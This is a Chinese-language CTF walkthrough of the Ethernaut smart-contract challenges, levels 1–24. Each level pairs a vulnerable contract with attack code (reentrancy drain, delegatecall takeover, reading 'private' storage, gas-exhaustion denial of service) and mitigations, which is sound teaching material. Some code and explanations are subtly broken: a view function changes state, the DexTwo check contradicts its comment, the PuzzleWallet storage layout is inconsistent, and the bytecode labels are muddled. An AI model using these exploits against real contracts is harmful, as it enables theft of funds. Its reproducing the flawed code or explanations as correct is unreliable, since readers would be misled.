OpenZeppelin Ethernaut 闯关笔记 概述 Ethernaut 是 OpenZeppelin 创建的智能合约安全挑战平台,旨在帮助开发者学习 Solidity 和智能合约安全。本笔记涵盖前24关的详细解析。
环境说明 :以下攻击代码适用于 Ethernaut 控制台环境(使用 Web3.js),部分攻击合约可在 Remix IDE 中部署测试。
Level 1: Fallback 目标 :成为合约 owner 并清空余额
solidity
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 contract Fallback { mapping(address => uint) public contributions; address public owner; constructor() { owner = msg.sender; contributions[msg.sender] = 1000 * (1 ether); } modifier onlyOwner { require(msg.sender == owner); _; } function contribute() public payable { require(msg.value < 0.001 ether); contributions[msg.sender] += msg.value; } function getContribution() public view returns (uint) { return contributions[msg.sender]; } function withdraw() public onlyOwner { payable(owner).transfer(address(this).balance); } // receive 函数:接收 ETH 时触发 receive() external payable { require(msg.value > 0 && contributions[msg.sender] > 0); owner = msg.sender; } }
攻击方法 :
javascript
1 2 3 4 5 6 7 8 // 1. 先贡献少量 ETH(小于 0.001 ETH) await contract.contribute({value: toWei("0.0005")}) // 2. 发送 ETH 触发 receive() 函数 await sendTransaction({to: contract.address, value: toWei("0.0001")}) // 3. 此时已是 owner,提取所有 ETH await contract.withdraw()
漏洞原因 :receive() 函数可以修改 owner,且仅要求调用者有非零贡献,条件过于宽松。
防范措施 :
在 receive()/fallback() 中避免修改关键状态变量
使用 onlyOwner 等修饰符限制敏感操作
理解 receive()(仅接收 ETH)和 fallback()(接收 ETH 或匹配不到函数时调用)的区别
Level 2: Fallout 目标 :成为合约 owner
solidity
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 contract Fallout { mapping (address => uint) allocations; address payable public owner; /* constructor */ function Fal1out() public payable { owner = payable(msg.sender); allocations[owner] = msg.value; } modifier onlyOwner { require(msg.sender == owner); _; } function allocate() public payable { allocations[msg.sender] += msg.value; } function sendAllocation(address payable allocator) public { require(allocations[allocator] > 0); allocator.transfer(allocations[allocator]); } function collectAllocations() public onlyOwner { payable(msg.sender).transfer(address(this).balance); } function allocatorBalance(address allocator) public view returns (uint) { return allocations[allocator]; } }
攻击方法 :
javascript
1 2 3 // 构造函数名称拼写错误:Fal1out 而不是 Fallout // 任何人都可以调用这个"假构造函数" await contract.Fal1out()
漏洞原因 :构造函数名拼写错误(Fal1out vs Fallout),导致它成为普通函数,任何人都可以调用并成为 owner。
防范措施 :始终使用 constructor() 关键字定义构造函数,避免依赖合约名。
Level 3: Coin Flip 目标 :连续猜对 10 次硬币翻转结果
solidity
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 contract CoinFlip { uint256 public consecutiveWins; uint256 lastHash; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; constructor() { consecutiveWins = 0; } function flip(bool _guess) public returns (bool) { uint256 blockValue = uint256(blockhash(block.number - 1)); if (lastHash == blockValue) { revert(); } lastHash = blockValue; uint256 coinFlip = blockValue / FACTOR; bool side = coinFlip == 1 ? true : false; if (side == _guess) { consecutiveWins++; return true; } else { consecutiveWins = 0; return false; } } }
攻击方法 :
solidity
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 // 攻击合约:在同一个交易中计算并提交正确的猜测 contract CoinFlipAttack { CoinFlip target; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; constructor(address _target) { target = CoinFlip(_target); } function attack() public { // 使用当前区块的哈希计算结果(和合约的计算方式完全一致) uint256 blockValue = uint256(blockhash(block.number - 1)); uint256 coinFlip = blockValue / FACTOR; bool guess = coinFlip == 1 ? true : false; target.flip(guess); } }
漏洞原因 :使用 blockhash 作为随机数来源,而区块哈希是公开可预测的。
防范措施 :
不要使用链上可预测的值(blockhash、timestamp、difficulty)生成随机数
使用 Chainlink VRF 等链下随机数预言机
采用 commit-reveal 模式
Level 4: Telephone 目标 :成为合约 owner
solidity
1 2 3 4 5 6 7 8 9 10 11 12 13 contract Telephone { address public owner; constructor() { owner = msg.sender; } function changeOwner(address _owner) public { if (tx.origin != msg.sender) { owner = _owner; } } }
攻击方法 :
solidity
1 2 3 4 5 6 7 8 9 10 11 12 13 14 // 攻击合约:通过合约调用触发 changeOwner contract TelephoneAttack { Telephone target; constructor(address _target) { target = Telephone(_target); } function attack() public { // 此时 tx.origin = 用户地址,msg.sender = 攻击合约地址 // 两者不相等,条件满足 target.changeOwner(msg.sender); } }
漏洞原因 :混淆 tx.origin(交易发起者)和 msg.sender(直接调用者)。
防范措施 :使用 msg.sender 进行身份验证,避免使用 tx.origin(除非明确需要区分直接调用和间接调用)。
Level 5: Token 目标 :获取更多 token(初始拥有 20 个)
solidity
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 contract Token { mapping(address => uint) balances; uint public totalSupply; constructor(uint _initialSupply) { balances[msg.sender] = totalSupply = _initialSupply; } function transfer(address _to, uint _value) public returns (bool) { require(balances[msg.sender] - _value >= 0); balances[msg.sender] -= _value; balances[_to] += _value; return true; } function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; } }
攻击方法 :
javascript
1 2 3 // 整数下溢攻击:初始有 20 个 token,尝试转出 21 个 // 20 - 21 = -1,在 Solidity 0.8.0 之前会下溢为 2^256 - 1 await contract.transfer(player, 21)
漏洞原因 :Solidity 0.8.0 之前版本没有内置整数溢出检查,减法操作可能导致下溢。
防范措施 :
使用 Solidity 0.8.0 或更高版本(内置溢出检查)
或使用 OpenZeppelin 的 SafeMath 库
使用 require(balances[msg.sender] >= _value) 进行前置检查
Level 6: Delegation 目标 :成为合约 owner
solidity
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 contract Delegate { address public owner; constructor(address _owner) { owner = _owner; } function pwn() public { owner = msg.sender; } } contract Delegation { address public owner; Delegate delegate; constructor(address _delegateAddress) { delegate = Delegate(_delegateAddress); owner = msg.sender; } fallback() external { (bool result,) = address(delegate).delegatecall(msg.data); if (result) { this; } } }
攻击方法 :
javascript
1 2 3 4 5 6 7 8 // 构造调用 pwn() 函数的数据 const data = web3.eth.abi.encodeFunctionSignature("pwn()") // 发送交易,触发 fallback,通过 delegatecall 执行 Delegate.pwn() await sendTransaction({ to: contract.address, data: data })
漏洞原因 :delegatecall 在目标合约的代码上下文中执行,但使用调用合约的存储布局。pwn() 修改 owner 时,实际修改的是 Delegation 合约的 owner 变量。
防范措施 :
谨慎使用 delegatecall,确保目标合约可信且存储布局兼容
使用代理模式时注意存储槽冲突(如 EIP-1967)
Level 7: Force 目标 :让合约拥有 ETH 余额(合约没有 receive 和 fallback 函数)
solidity
1 2 3 contract Force { /* 没有 receive 或 fallback 函数 */ }
攻击方法 :
solidity
1 2 3 4 5 6 7 // 攻击合约:使用 selfdestruct 强制向任意地址发送 ETH contract ForceAttack { constructor(address payable target) payable { // 销毁时将所有 ETH 强制发送给 target selfdestruct(target); } }
部署 :
部署 ForceAttack 并附带少量 ETH
合约销毁时,ETH 强制转入目标合约,无视任何 receive/fallback 限制
漏洞原因 :selfdestruct 可以强制向任何地址发送 ETH,不受合约接收逻辑的限制。
防范措施 :不要依赖 address(this).balance == 0 作为安全判断条件。
Level 8: Vault 目标 :解锁保险箱
solidity
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 contract Vault { bool public locked; bytes32 private password; constructor(bytes32 _password) { locked = true; password = _password; } function unlock(bytes32 _password) public { if (password == _password) { locked = false; } } }
攻击方法 :
javascript
1 2 3 // 从存储槽 1 读取 password(槽 0 是 locked) const password = await web3.eth.getStorageAt(contract.address, 1) await contract.unlock(password)
漏洞原因 :private 变量仅阻止其他合约读取,但在链上所有存储数据都是公开可见的。
防范措施 :不要在合约中存储密码、私钥等敏感信息。如需存储,使用加密或链下存储。
Level 9: King 目标 :成为永久国王(阻止其他人成为国王)
solidity
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 contract King { address payable king; uint public prize; address payable public owner; constructor() payable { owner = payable(msg.sender); king = payable(msg.sender); prize = msg.value; } receive() external payable { require(msg.value >= prize || msg.sender == owner); payable(king).transfer(msg.value); king = payable(msg.sender); prize = msg.value; } function _king() public view returns (address payable) { return king; } }
攻击方法 :
solidity
1 2 3 4 5 6 7 8 9 10 11 // 攻击合约:没有 receive 和 fallback 函数 // 当 King 合约尝试向本合约转账时会失败,阻止后续国王更替 contract KingAttack { constructor(address payable target) payable { // 发起攻击,成为国王 (bool success, ) = target.call{value: msg.value}(""); require(success); } // 故意不实现 receive/fallback,拒绝接收 ETH }
漏洞原因 :transfer 在接收方无法接收 ETH 时会回滚,导致后续交易失败。
防范措施 :使用 pull 支付模式(让用户主动取款)而非 push 模式(主动转账),避免转账失败阻塞关键逻辑。
Level 10: Re-entrancy 目标 :盗取合约中所有 ETH
solidity
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 contract Reentrance { mapping(address => uint) public balances; function donate(address _to) public payable { balances[_to] += msg.value; } function balanceOf(address _who) public view returns (uint balance) { return balances[_who]; } function withdraw(uint _amount) public { if(balances[msg.sender] >= _amount) { // 先转账,后更新余额(危险!) (bool result,) = msg.sender.call{value:_amount}(""); if(result) { _amount; } balances[msg.sender] -= _amount; } } receive() external payable {} }
攻击方法 :
solidity
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 contract ReentranceAttack { Reentrance target; uint public amount = 0.001 ether; constructor(address _target) payable { target = Reentrance(_target); } function attack() public payable { // 先捐款获得余额 target.donate{value: amount}(address(this)); // 发起提款,触发重入 target.withdraw(amount); } // 收到 ETH 时再次调用 withdraw,实现重入 receive() external payable { if (address(target).balance >= amount) { target.withdraw(amount); } } }
漏洞原因 :先转账后更新余额,允许攻击者在转账过程中递归调用 withdraw,提取超过其存款的金额。
防范措施 :遵循 checks-effects-interactions 模式:
Checks:检查条件(如余额充足)
Effects:更新状态(如减少余额)
Interactions:执行外部调用(如转账)
solidity
1 2 3 4 5 6 function withdraw(uint _amount) public { require(balances[msg.sender] >= _amount); balances[msg.sender] -= _amount; // 先更新状态 (bool result,) = msg.sender.call{value:_amount}(""); // 后外部调用 require(result); }
Level 11: Elevator 目标 :到达顶层(设置 top = true)
solidity
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 interface Building { function isLastFloor(uint) external returns (bool); } contract Elevator { bool public top; uint public floor; function goTo(uint _floor) public { Building building = Building(msg.sender); if (!building.isLastFloor(_floor)) { floor = _floor; top = building.isLastFloor(floor); } } }
攻击方法 :
solidity
1 2 3 4 5 6 7 8 9 10 11 12 13 14 // 攻击合约实现 Building 接口 contract ElevatorAttack is Building { bool public toggle = true; // 第一次调用返回 false(允许继续),第二次调用返回 true(设置 top) function isLastFloor(uint) external override returns (bool) { toggle = !toggle; return toggle; } function attack(address target) public { Elevator(target).goTo(1); } }
漏洞原因 :合约假设外部调用返回值是一致的,但攻击合约可以改变状态导致两次调用返回不同结果。
防范措施 :不要假设外部调用的返回值是确定的,对不可信合约的调用应保持警惕。
Level 12: Privacy 目标 :解锁合约
solidity
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 contract Privacy { bool public locked = true; uint256 public ID = block.timestamp; uint8 private flattening = 10; uint8 private denomination = 255; uint16 private awkwardness = uint16(block.timestamp); bytes32[3] private data; constructor(bytes32[3] memory _data) { data = _data; } function unlock(bytes16 _key) public { require(_key == bytes16(data[2])); locked = false; } }
存储布局分析 :
槽 0:locked (1 字节) + 空余填充
槽 1:ID (32 字节)
槽 2:flattening (1 字节) + denomination (1 字节) + awkwardness (2 字节) + 空余填充
槽 3:data[0] (32 字节)
槽 4:data[1] (32 字节)
槽 5:data[2] (32 字节) ← 目标数据
攻击方法 :
javascript
1 2 3 4 5 // 读取槽 5 的 data[2] const data = await web3.eth.getStorageAt(contract.address, 5) // bytes16 需要 32 个十六进制字符(16 字节),加上 "0x" 前缀共 34 个字符 const key = data.slice(0, 34) // 取前 16 字节 await contract.unlock(key)
漏洞原因 :private 数据在链上可见,存储布局可预测。
防范措施 :不在链上存储未加密的敏感数据。
Level 13: Gatekeeper One 目标 :通过三个修饰器限制,成为 entrant
solidity
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 contract GatekeeperOne { address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { require(gasleft() % 8191 == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey))); require(uint32(uint64(_gateKey)) != uint64(_gateKey)); require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin))); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; } }
攻击方法 :
solidity
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 contract GatekeeperOneAttack { function attack(address target, bytes8 key) public { // gateTwo 要求剩余 gas % 8191 == 0 // 通过循环尝试找到正确的 gas 值 for (uint256 i = 0; i < 8191; i++) { try GatekeeperOne(target).enter{gas: 8191 * 10 + i}(key) { break; } catch {} } } // 构造符合 gateThree 条件的 key function computeKey(address addr) public pure returns (bytes8) { // 需要满足三个条件: // 1. uint32(key) == uint16(key) → 高16位必须为0 // 2. uint32(key) != uint64(key) → 高32位不能全为0 // 3. uint32(key) == uint16(tx.origin) → 低16位等于地址的低16位 uint16 addrLow16 = uint16(uint160(addr)); uint32 key32 = uint32(addrLow16); return bytes8(uint64(key32)); } }
漏洞原因 :
gasleft() 可被调用者控制,通过循环可以找到满足条件的 gas 值
gateThree 的类型转换条件可被精确构造
防范措施 :避免依赖剩余 gas 的计算,避免使用复杂的类型转换作为安全边界。
Level 14: Gatekeeper Two 目标 :通过三个修饰器限制,成为 entrant
solidity
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 contract GatekeeperTwo { address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { uint x; assembly { x := extcodesize(caller()) } require(x == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; } }
攻击方法 :
solidity
1 2 3 4 5 6 7 8 9 contract GatekeeperTwoAttack { constructor(address target) { // 在构造函数中调用,此时 extcodesize 为 0(代码尚未部署) bytes8 key = bytes8( uint64(bytes8(keccak256(abi.encodePacked(this)))) ^ type(uint64).max ); GatekeeperTwo(target).enter(key); } }
漏洞原因 :
构造函数执行时,extcodesize(caller()) 返回 0
gateThree 的异或运算可逆:key = hash(msg.sender) ^ type(uint64).max
防范措施 :
extcodesize == 0 不能可靠判断是否为合约(构造函数期间也返回 0)
使用 tx.origin == msg.sender 判断是否为外部账户(但要注意钓鱼攻击)
Level 15: Naught Coin 目标 :在时间锁到期前转移所有 token
solidity
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 contract NaughtCoin is ERC20 { uint public timeLock = block.timestamp + 10 * 365 days; uint256 public INITIAL_SUPPLY; address public player; constructor(address _player) ERC20("NaughtCoin", "0x0") { player = _player; INITIAL_SUPPLY = 1000000 * (10**uint256(decimals())); _mint(player, INITIAL_SUPPLY); emit Transfer(address(0), player, INITIAL_SUPPLY); } function transfer(address _to, uint256 _value) override public lockTokens returns(bool) { super.transfer(_to, _value); } modifier lockTokens() { if (msg.sender == player) { require(block.timestamp > timeLock); _; } else { _; } } }
攻击方法 :
javascript
1 2 3 4 5 6 7 8 9 // transfer 被 lockTokens 限制,但 transferFrom 没有被重写 const amount = await contract.balanceOf(player) // 授权自己花费这些 token await contract.approve(player, amount) // 通过 transferFrom 绕过时间锁限制 // 可以将 token 转到自己的另一个地址或任何地址 await contract.transferFrom(player, "0x你的其他地址", amount)
漏洞原因 :只重写了 transfer,没有重写 transferFrom,攻击者可以通过 approve + transferFrom 绕过限制。
防范措施 :重写 ERC20 函数时,需考虑所有转账路径(transfer、transferFrom、burn 等)。
Level 16: Preservation 目标 :成为合约 owner
solidity
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 contract Preservation { address public timeZone1Library; address public timeZone2Library; address public owner; uint storedTime; constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) { timeZone1Library = _timeZone1LibraryAddress; timeZone2Library = _timeZone2LibraryAddress; owner = msg.sender; } function setFirstTime(uint _timeStamp) public { timeZone1Library.delegatecall(abi.encodeWithSignature("setTime(uint256)", _timeStamp)); } function setSecondTime(uint _timeStamp) public { timeZone2Library.delegatecall(abi.encodeWithSignature("setTime(uint256)", _timeStamp)); } } contract LibraryContract { uint storedTime; function setTime(uint _time) public { storedTime = _time; } }
攻击方法 :
solidity
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 // 攻击合约:存储布局与 Preservation 的前三个变量对齐 contract PreservationAttack { address public timeZone1Library; // 槽 0 address public timeZone2Library; // 槽 1 address public owner; // 槽 2 // 当 Preservation 通过 delegatecall 调用此函数时 // 修改的是 Preservation 合约的存储 function setTime(uint _time) public { // _time 参数被写入槽 2,即 owner owner = msg.sender; } function attack(address target) public { // 第一步:将 timeZone1Library 改为攻击合约地址 Preservation(target).setFirstTime(uint256(uint160(address(this)))); // 第二步:再次调用,触发 delegatecall 到攻击合约 // 攻击合约的 setTime 会修改 Preservation 的 owner Preservation(target).setFirstTime(0); } }
漏洞原因 :
delegatecall 保留调用方的存储上下文
Preservation 和 LibraryContract 的存储布局不同,导致 setTime 修改 storedTime 时,实际修改了 timeZone1Library(槽 0)
攻击者可以通过控制 timeZone1Library 来劫持后续的 delegatecall
防范措施 :
使用代理模式时确保存储布局一致
使用 EIP-1967 标准存储槽避免冲突
考虑使用不可变代理(EIP-897)
Level 17: Recovery 目标 :找回丢失的 token
solidity
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 contract Recovery { // 创建了 SimpleToken 合约但丢失了地址 function generateToken(string memory _name, uint256 _initialSupply) public { new SimpleToken(_name, _initialSupply); } } contract SimpleToken { address public owner; constructor(string memory name, uint256 initialSupply) { owner = msg.sender; } function destroy(address payable _to) public { require(msg.sender == owner); selfdestruct(_to); } }
攻击方法 :
javascript
1 2 3 4 5 6 7 8 9 10 // 计算合约地址:create 地址 = keccak256(rlp.encode([sender, nonce])) // 在 Ethernaut 中,通常使用工具或手动计算 // 找到地址后调用 destroy const targetAddress = "计算出的合约地址" await web3.eth.sendTransaction({ to: targetAddress, data: web3.eth.abi.encodeFunctionSignature("destroy(address)") + "000000000000000000000000" + player.slice(2) })
漏洞原因 :合约地址可通过创建者地址和 nonce 计算得出,不是随机值。
防范措施 :使用 create2 可预测地址时需谨慎;对于丢失的地址,应记录合约部署信息。
Level 18: MagicNumber 目标 :部署一个返回 42 的合约,且代码不超过 10 字节
solidity
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 contract MagicNum { address public solver; constructor() { solver = msg.sender; } function setSolver(address _solver) public { solver = _solver; } /* 要求:_solver 是一个合约,调用 whatIsTheMeaningOfLife() 返回 42 合约代码字节数不超过 10 */ }
攻击方法 :编写 EVM 汇编直接返回 42
text
1 2 3 4 5 6 // 运行时字节码 // 600a600c600039600a6000f3 // 部署代码 // 602a60005260206000f3 // 运行时代码(返回 42) 完整字节码(部署代码 + 运行时代码): 600a600c600039600a6000f3602a60005260206000f3
javascript
1 2 3 4 // 部署后调用 setSolver const bytecode = "0x600a600c600039600a6000f3602a60005260206000f3" // 部署合约... await contract.setSolver(deployedAddress)
漏洞原因 :合约可以通过极简的 EVM 字节码实现任意功能。
防范措施 :extcodesize 检查无法防止极简合约,需结合其他验证方式。
Level 19: Alien Codex 目标 :成为 owner
solidity
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 contract AlienCodex { address public owner; bool public contact; bytes32[] public codex; constructor() { owner = msg.sender; } function make_contact() public { contact = true; } function record(bytes32 _content) public { require(contact); codex.push(_content); } function retract() public { require(contact); codex.length--; } function revise(uint i, bytes32 _content) public { require(contact); codex[i] = _content; } }
攻击方法 :
javascript
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 // 1. 先建立联系 await contract.make_contact() // 2. 调用 retract() 导致数组长度下溢 // 初始 codex.length = 0,减 1 后变成 2^256 - 1 await contract.retract() // 3. 计算 owner 所在的存储槽 // owner 在槽 0,动态数组 codex 在槽 1 // 槽 1 存储数组长度,实际数据从 keccak256(1) 开始 // owner 在槽 0,对应数组索引 = (0 - keccak256(1)) % 2^256 const ownerSlot = 0 const baseSlot = web3.utils.soliditySha3(1) const index = (BigInt(ownerSlot) - BigInt(baseSlot) + 2n ** 256n) % 2n ** 256n // 4. 修改 owner await contract.revise(index, player)
漏洞原因 :
动态数组 length-- 在长度为 0 时导致整数下溢
下溢后可以访问任意存储槽,包括 owner 所在的槽 0
防范措施 :
使用 SafeMath 或 Solidity 0.8.0+ 防止下溢
添加 require(codex.length > 0) 检查
Level 20: Denial 目标 :阻止 owner 提取资金
solidity
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 contract Denial { address public owner; constructor() { owner = msg.sender; } function withdraw() public { require(msg.sender == owner); payable(owner).transfer(address(this).balance); } receive() external payable { // 任何人都可以向此合约发送 ETH } // 目标:让 withdraw 永远失败 }
攻击方法 :
solidity
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 contract DenialAttack { Denial target; constructor(address _target) payable { target = Denial(_target); } receive() external payable { // 使用无限循环消耗 gas while (true) {} } function attack() public payable { // 向目标发送 ETH,触发 receive target.call{value: msg.value}(""); } }
漏洞原因 :transfer 有 2300 gas 限制,如果接收方合约的 receive/fallback 消耗超过 2300 gas(如无限循环),转账会失败。
防范措施 :使用 pull 支付模式,让用户主动取款,而不是合约主动推送。
Level 21: Shop 目标 :让 price 小于 isSold 检查时的值
solidity
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 interface Buyer { function price() external view returns (uint); } contract Shop { uint public price = 100; bool public isSold; function buy() public { Buyer buyer = Buyer(msg.sender); if (buyer.price() >= price && !isSold) { isSold = true; price = buyer.price(); } } }
攻击方法 :
solidity
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 contract ShopAttack is Buyer { Shop target; bool public toggle = true; function price() external view override returns (uint) { if (toggle) { toggle = false; return 100; // 第一次调用 >= 100,通过检查 } else { return 0; // 第二次调用返回 0,设置 price = 0 } } function attack(address _target) public { target = Shop(_target); target.buy(); } }
漏洞原因 :price() 两次调用返回值不一致。虽然声明为 view,但攻击者可以通过状态变量返回不同值。
防范措施 :使用 pure 限制纯函数,或缓存第一次调用结果。
Level 22: Dex 目标 :盗取所有 token
solidity
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 contract Dex { address public token1; address public token2; constructor(address _token1, address _token2) { token1 = _token1; token2 = _token2; } function swap(address from, address to, uint amount) public { require((from == token1 && to == token2) || (from == token2 && to == token1)); require(IERC20(from).balanceOf(msg.sender) >= amount); uint swapAmount = getSwapPrice(from, to, amount); IERC20(from).transferFrom(msg.sender, address(this), amount); IERC20(to).approve(address(this), swapAmount); IERC20(to).transferFrom(address(this), msg.sender, swapAmount); } function getSwapPrice(address from, address to, uint amount) public view returns (uint) { return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this))); } }
攻击方法 :
javascript
1 2 3 4 5 6 7 8 9 // 反复交换,利用价格计算漏洞逐步耗尽池子 // 初始:token1 余额 100,token2 余额 100 // 攻击者先买入 token2,再买入 token1,反复操作 // 第一步:用 10 token1 换 token2 await contract.swap(token1, token2, 10) // 继续交换直到池子中一个 token 被耗尽 // 最终可以清空池子
漏洞原因 :价格计算公式没有考虑流动性变化,且没有使用恒定乘积公式(Uniswap 模型)。
防范措施 :使用经过审计的 AMM 公式(如 x*y=k),避免基于余额的简单线性定价。
Level 23: Dex Two 目标 :盗取所有 token
solidity
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 contract DexTwo { address public token1; address public token2; constructor(address _token1, address _token2) { token1 = _token1; token2 = _token2; } function swap(address from, address to, uint amount) public { require((from == token1 && to == token2) || (from == token2 && to == token1) || (from == token1 && to == token2) || (from == token2 && to == token1)); // 注意:这里缺少了配对检查,任何 token 都可以交易 uint swapAmount = getSwapAmount(from, to, amount); IERC20(from).transferFrom(msg.sender, address(this), amount); IERC20(to).approve(address(this), swapAmount); IERC20(to).transferFrom(address(this), msg.sender, swapAmount); } function getSwapAmount(address from, address to, uint amount) public view returns (uint) { return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this))); } }
攻击方法 :
javascript
1 2 3 4 5 6 // 部署一个假 token // 用假 token 从池子中换出真实 token // 1. 部署假 token 合约 // 2. 转移一些假 token 到 DEX // 3. 用假 token 换取 token1 和 token2
漏洞原因 :swap 函数没有限制交易对,任何 token 都可以参与交易,导致通过控制假 token 的余额操纵价格。
防范措施 :严格限制交易对,或使用白名单机制。
Level 24: Puzzle Wallet 目标 :成为 admin
solidity
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 contract PuzzleProxy { address public admin; address public pendingAdmin; address public owner; constructor(address _admin) { admin = _admin; owner = msg.sender; } function proposeNewAdmin(address _newAdmin) public { pendingAdmin = _newAdmin; } function approveNewAdmin() public { require(msg.sender == pendingAdmin); admin = pendingAdmin; } } contract PuzzleWallet { address public owner; uint public maxBalance; bool public init = true; modifier onlyWhitelisted(address _addr) { // 白名单检查 _; } function setMaxBalance(uint _maxBalance) public { require(address(this).balance == 0); maxBalance = _maxBalance; } function init() public { require(init); owner = msg.sender; init = false; } function addToWhitelist(address _addr) public onlyWhitelisted(msg.sender) { // 添加白名单 } }
攻击方法 :
javascript
1 2 3 4 5 6 7 8 9 10 11 12 // 利用存储布局混淆(PuzzleProxy 和 PuzzleWallet 共享存储) // 1. 调用 proposeNewAdmin 修改 PuzzleWallet 的 owner await proxy.proposeNewAdmin(player) // 2. 调用 init() 成为 PuzzleWallet 的 owner await wallet.init() // 3. 通过存储槽冲突修改 admin // PuzzleProxy.admin 和 PuzzleWallet.maxBalance 共享槽 1 // 设置 maxBalance 可以修改 admin await wallet.setMaxBalance(playerAddress)
漏洞原因 :代理合约和逻辑合约的存储布局不一致,导致变量覆盖。
防范措施 :严格遵循 EIP-1967 标准,确保代理和逻辑合约的存储布局一致且无冲突。